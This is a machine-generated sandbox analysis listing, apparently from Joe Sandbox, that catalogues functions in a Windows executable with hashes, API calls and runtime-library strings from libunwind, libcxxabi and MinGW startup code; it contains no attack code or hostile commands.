                                  • Opcode ID: 67d0ddd8d3f3b324f54b87a857e904e5ecbaa43cf9483693f48d384fd3c00ca7
                                  • Instruction ID: 65a8cdbebb9922243a4e9292bc1a29639f1b38ba277f5fa9ede8d7b35f4d77ee
                                  • Opcode Fuzzy Hash: 67d0ddd8d3f3b324f54b87a857e904e5ecbaa43cf9483693f48d384fd3c00ca7
                                  • Instruction Fuzzy Hash: 04417022C2DBC282F635AF04A4057FAA375FFD9784F405226EA8802655EF7DD2D2C750
                                  Function 00007FF7796F45B0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 59COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: abortfflush
                                  • String ID: getReg$libunwind: %s - %s$setReg$unsupported register
                                  • API String ID: 4129902348-1024193272
                                  • Opcode ID: 5b2f10e133d415561be2da49aee555f4cb851904708bcff335edbf3d1aada5b7
                                  • Instruction ID: a1a653f87d046c5297d071573bbc96f24afa7e61c18140e781814775fa213b14
                                  • Opcode Fuzzy Hash: 5b2f10e133d415561be2da49aee555f4cb851904708bcff335edbf3d1aada5b7
                                  • Instruction Fuzzy Hash: 92115452E7B91B92EA14BF50A9556F89737DFC97C1FC08836C50D03796AE3CA102C361
                                  Function 00007FF779702797 Relevance: 13.6, APIs: 9, Instructions: 95COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: isxdigit$malloc
                                  • String ID:
                                  • API String ID: 1399014089-0
                                  • Opcode ID: d11516b59d51969ee5f2a2bb7cdc1212a3f385caa4d96bde6dca3ab53278bab5
                                  • Instruction ID: 2d2e4778caa2a327f937103181b9733d72854b0770445b6f412da6957c308489
                                  • Opcode Fuzzy Hash: d11516b59d51969ee5f2a2bb7cdc1212a3f385caa4d96bde6dca3ab53278bab5
                                  • Instruction Fuzzy Hash: DD41B82363AB8742E7985F24D85037AA7B5EB48FC1F884139CA9D46691DF3CF5A1C360
                                  Function 00007FF77970B110 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 183COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: mallocrealloc
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$allocator$basic_string$starts_with(SV, "basic_")
                                  • API String ID: 948496778-4167058683
                                  • Opcode ID: 9392a488f175509cc51113372d72a0b877b6c5a8ab6e9babe2c6c6985595158c
                                  • Instruction ID: 1bb4a9a31a40a3797cdcf0ccf50854fce12b53a17071fc8f51d6281d50570723
                                  • Opcode Fuzzy Hash: 9392a488f175509cc51113372d72a0b877b6c5a8ab6e9babe2c6c6985595158c
                                  • Instruction Fuzzy Hash: 1D61D363B26A8782EE54DF15E8843A9A771EB48BC4F848631DB9D07790DF3CE552C350
                                  Function 00007FF77970B520 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$memcpy
                                  • String ID: or<char>
                                  • API String ID: 1833655766-3520798227
                                  • Opcode ID: c86a95940dfd59be5a52cadd960e1fa1a6bb2816d717a95559760d92432bfea2
                                  • Instruction ID: f48a14d971199935288cbe261289b525fd195fb4f7b2db7db01420e4ea1ed9af
                                  • Opcode Fuzzy Hash: c86a95940dfd59be5a52cadd960e1fa1a6bb2816d717a95559760d92432bfea2
                                  • Instruction Fuzzy Hash: F05171B3A26B4283DE259F59E940269B3B1EB98BC4F408432CB8E07751EF3CE1908350
                                  Function 00007FF7796F7F50 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 124COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: _assert$callocmemset
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/fallback_malloc.cpp$reinterpret_cast<size_t>(p + 1) % RequiredAlignment == 0$reinterpret_cast<size_t>(ptr) % RequiredAlignment == 0
                                  • API String ID: 1513271871-212362933
                                  • Opcode ID: dbf2372e7721cb1b03cfe6cbe79d7301f27338ad5526d3f9cf38ec1b38bf5fea
                                  • Instruction ID: 9a3238ad46bab396db6a06db77f1e4799cc40a4d68c148586e7f7c930411292d
                                  • Opcode Fuzzy Hash: dbf2372e7721cb1b03cfe6cbe79d7301f27338ad5526d3f9cf38ec1b38bf5fea
                                  • Instruction Fuzzy Hash: C3418E13B3B523C1EA15BF15A8117BAE273AF84BC0FC15671D80E93795EE2CA555C360
                                  Function 00007FF7796F2730 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • VirtualQuery.KERNEL32(?,?,?,?,00007FF77971FEF8,00007FF77971FEF8,?,?,00007FF7796F0000,?,00007FF7796F2521), ref: 00007FF7796F27F3
                                  • VirtualProtect.KERNEL32(?,?,?,?,00007FF77971FEF8,00007FF77971FEF8,?,?,00007FF7796F0000,?,00007FF7796F2521), ref: 00007FF7796F2857
                                  • memcpy.MSVCRT ref: 00007FF7796F2870
                                  • GetLastError.KERNEL32(?,?,?,?,00007FF77971FEF8,00007FF77971FEF8,?,?,00007FF7796F0000,?,00007FF7796F2521), ref: 00007FF7796F28B3
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: Virtual$ErrorLastProtectQuerymemcpy
                                  • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
                                  • API String ID: 2595394609-2123141913
                                  • Opcode ID: 9138589ab96e5059ed5b91dbf10de36bae820b7dd10cec232302c703205bbebd
                                  • Instruction ID: db8c7f006183802c664732aacea21d53ed7c2bbc608fe0df9185869ad06db02d
                                  • Opcode Fuzzy Hash: 9138589ab96e5059ed5b91dbf10de36bae820b7dd10cec232302c703205bbebd
                                  • Instruction Fuzzy Hash: 6D417463A3A64381EA10AF16D4846BAA773FB45BC0F944636CD1D83791EE3CE945C760
                                  Function 00007FF77970B372 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 64COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: _assertmemcpyrealloc
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$basi$basic_ostream$starts_with(SV, "basic_")
                                  • API String ID: 2326172077-1855325571
                                  • Opcode ID: daff190b208ee239b92a8ff6802495cf067ff4514613a718e17146f5ae89fa4f
                                  • Instruction ID: f0286f3a10aa4e7239bc0c9840e16d2894982b661505003ec234763e527ed1b1
                                  • Opcode Fuzzy Hash: daff190b208ee239b92a8ff6802495cf067ff4514613a718e17146f5ae89fa4f
                                  • Instruction Fuzzy Hash: A21163A3B36603C3EE64AF19F980369A371EB58BC1F848435CA4D07754EF2CE6518750
                                  Function 00007FF7796F1880 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 33COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: _assertabort
                                  • String ID: (base != 0) && "DW_EH_PE_datarel is invalid with a base of 0"$/home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/cxa_personality.cpp$actions & (_UA_SEARCH_PHASE | _UA_FORCE_UNWIND)$actions & (_UA_SEARCH_PHASE | _UA_HANDLER_FRAME | _UA_FORCE_UNWIND)$actions & _UA_SEARCH_PHASE
                                  • API String ID: 1072228434-30274522
                                  • Opcode ID: 446287974f43067f5742b1829c412f7f497fe5859eb705efff3feace76f7cb6b
                                  • Instruction ID: 294ddb20d2858bfe6cbe717783dab4bf1879b6c893f5affe7fa8f6b2aa32eae8
                                  • Opcode Fuzzy Hash: 446287974f43067f5742b1829c412f7f497fe5859eb705efff3feace76f7cb6b
                                  • Instruction Fuzzy Hash: 71F0B463F3A40791EA24AF56EC814B55336AB587D5F910A32D91D821D0ED2C9587C360
                                  Function 00007FF779704BE0 Relevance: 12.2, APIs: 8, Instructions: 247COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$mallocmemcmpmemcpy
                                  • String ID:
                                  • API String ID: 2517790541-0
                                  • Opcode ID: 7346dd3206704345a6af56fcc80ff1099bfbb1bfe8e3ddd91a199a9fc1cc2900
                                  • Instruction ID: b4c242d24c1ad2f9103d42098fcf193b36b890a4f2367476137af510f042d20a
                                  • Opcode Fuzzy Hash: 7346dd3206704345a6af56fcc80ff1099bfbb1bfe8e3ddd91a199a9fc1cc2900
                                  • Instruction Fuzzy Hash: 959194B3A26B4282EA659F1AE8403A9B7B1FB58BC4F448531CB9D07791EF3CE5518350
                                  Function 00007FF779705480 Relevance: 12.2, APIs: 8, Instructions: 222COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: 820f43f822463fb6ccee1dd20fe9ec16f7cf86f838d61afeeac975018113ba4f
                                  • Instruction ID: c5b89a4d904507631e9191d76539317a45b59f6ce28f51834b9e7b07454650d1
                                  • Opcode Fuzzy Hash: 820f43f822463fb6ccee1dd20fe9ec16f7cf86f838d61afeeac975018113ba4f
                                  • Instruction Fuzzy Hash: C29130B3A16B4683DA659F5AE4543ADB371EB58BC0F808531CB9E077A0EF3CE4458250
                                  Function 00007FF7796F71C0 Relevance: 10.9, APIs: 7, Instructions: 368COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fputwc
                                  • String ID:
                                  • API String ID: 761389786-0
                                  • Opcode ID: 5170ea0f942b3d93673314322599268af59ede64674dcde32236e23149b41f4c
                                  • Instruction ID: dbfe954767156b038f90007c734a9111f4cb72ef2be7dd09ddcaff6f08317b81
                                  • Opcode Fuzzy Hash: 5170ea0f942b3d93673314322599268af59ede64674dcde32236e23149b41f4c
                                  • Instruction Fuzzy Hash: 62E14273A3A60387E774AE19E15473BB6F3EB44740F805239EB9AC6791EA2CE441D710
                                  Function 00007FF7796FF9C0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 247COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc$memcpyrealloc
                                  • String ID: auto
                                  • API String ID: 2642181057-1723475450
                                  • Opcode ID: d68e97057976446f2cce18955a4260cb645a2ea6946946f02118f0da23deb918
                                  • Instruction ID: 2a32f243d3a1bf7cfe7ca012b1b4654cc5bfc0eb1f9be08d59477487b5d9c60f
                                  • Opcode Fuzzy Hash: d68e97057976446f2cce18955a4260cb645a2ea6946946f02118f0da23deb918
                                  • Instruction Fuzzy Hash: DCA1C26362AB8281EA249F24D4453AAB7A7FB04790F844336CB9D473D1EF7CE555C310
                                  Function 00007FF779711280 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 217COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: 0
                                  • API String ID: 0-4108050209
                                  • Opcode ID: 91fbf0612a32bf460f63d29e70cfa5a713f3c52a70bc57ccc4705e96ca3739cc
                                  • Instruction ID: f960564d58ba4a700bc1c62e6def1aae64ccd6eab5b10cc825720044528ea653
                                  • Opcode Fuzzy Hash: 91fbf0612a32bf460f63d29e70cfa5a713f3c52a70bc57ccc4705e96ca3739cc
                                  • Instruction Fuzzy Hash: 3C710823F79143C7F775EE16E04077DA6E1AB89B94F845530CE6E5A6C1DA3CE8418350
                                  Function 00007FF77970DEF0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 142COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$malloc
                                  • String ID: imaginary$noexcept
                                  • API String ID: 454241450-3971218317
                                  • Opcode ID: 87dcfbe6bad413ec65d64ef39e25c3b70162464389fa30d34c7d9aefbdbe6664
                                  • Instruction ID: 2cffe18798c62ec00c8156549e43cf3801772ff07e350c5df2937329327706f9
                                  • Opcode Fuzzy Hash: 87dcfbe6bad413ec65d64ef39e25c3b70162464389fa30d34c7d9aefbdbe6664
                                  • Instruction Fuzzy Hash: 4551D0B3A26B8682EB289F15E4407ADB3B1EB58BC4F548531DB8D07794EF38D591C350
                                  Function 00007FF7796F16B0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 116COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: _assert$fflush
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/cxa_personality.cpp$actions & _UA_CLEANUP_PHASE$results.reason == _URC_HANDLER_FOUND
                                  • API String ID: 289967094-1554099779
                                  • Opcode ID: 53fe620101f0f1196f6f36d0f1a8cbc34963f56b63f02f4e93a45d900a4484cd
                                  • Instruction ID: dd06e442ba76343fcf79606d55bff7b9b6199f1c46e9c6a14cee1fe12a408630
                                  • Opcode Fuzzy Hash: 53fe620101f0f1196f6f36d0f1a8cbc34963f56b63f02f4e93a45d900a4484cd
                                  • Instruction Fuzzy Hash: 8B41D662B3A58341EA25EF42E2407BAD3B3AB957D0F450231DE1D87B94EE2CE5418360
                                  Function 00007FF77970EB50 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 104COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
